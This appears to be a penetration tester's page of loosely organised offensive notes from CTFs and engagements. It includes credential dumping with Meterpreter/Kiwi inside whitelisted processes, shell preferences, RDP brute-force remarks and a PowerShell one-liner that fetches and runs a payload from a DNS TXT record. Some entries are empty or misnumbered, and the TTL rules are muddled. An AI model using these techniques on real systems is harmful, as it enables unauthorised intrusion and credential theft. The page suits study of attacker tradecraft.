Offensive Security Notes
Unorganized collections of my notes from CTFs and penetration tests
1. Search for whitelisted applications when looking to migrate and dump credentials. During a penetration test I was struggling to dump credentials with Kiwi as a PoC. Migrating into an AppSense application that is required to be whitelisted by endpoints can result in easy l00t. This link lists a few of the executables that I was able to migrate into with Meterpreter and proceed to execute Kiwi from, namely EMUser.exe.
2. Time to Live
TTL > 64 it is most likely a Linux box
TTL > 128 it is most likely a Windows
TTL < 128 most likely some type of networking device.
3. Some quick notes on organizing tooling:
- Download and place the tool into /opt/ (e.g., Aquatone).
- Execute the following command on the Aquatone binary:
ln -s /opt/aquatone/aquatone /usr/local/bin/aquatone
3. Reverse shell preferences:
- External: Bind shell
- Internal: Reverse shell
- Compile the binaries yourself.. Unless it's a CTF.
6. Kali Linux allows for multiple IP addresses to be set manually on an interface, allowing for you to set multiple callbacks in case one of your IP addresses gets banned. The following demonstrates a screenshot of this:
7. Download a Nessus scan via Metasploit:
# Load the Nessus plugin
# Authenticate to Nessus
# List Available Nessus Scans (Pay attention to the ID)
# Export the Nessus Scan
Nessus_scan_export $id nessus
Download the Nessus scan to ~/.msf
nessus_report_download $id $fileid
# Report is then accessible in the ~/.msf4/local directory
# Rename the file to $client.nessus
8. Quick SSH tips:
12. Your daily reminder that RDP local admin bruteforce has no rate limiting.
13. If you have a shell on a Windows host and need to check if your process is high integrity without sounding alarms, you can issue the following check:
# >= high if file listing is shown
CMD -> dir \windows\temp
PowerShell --> ls \windows\temp
14. A fun way to execte payloads is via a domains TXT record, the following command will run the provided payload:
powershell . (nslookup -q=txt parzival.sh)[-1]
15. Always perform content discovery both as an unauthenticated and authenticated user (provide cookies to tool of choice)
16. Trigger NTLM authentiction over HTTP from the command line: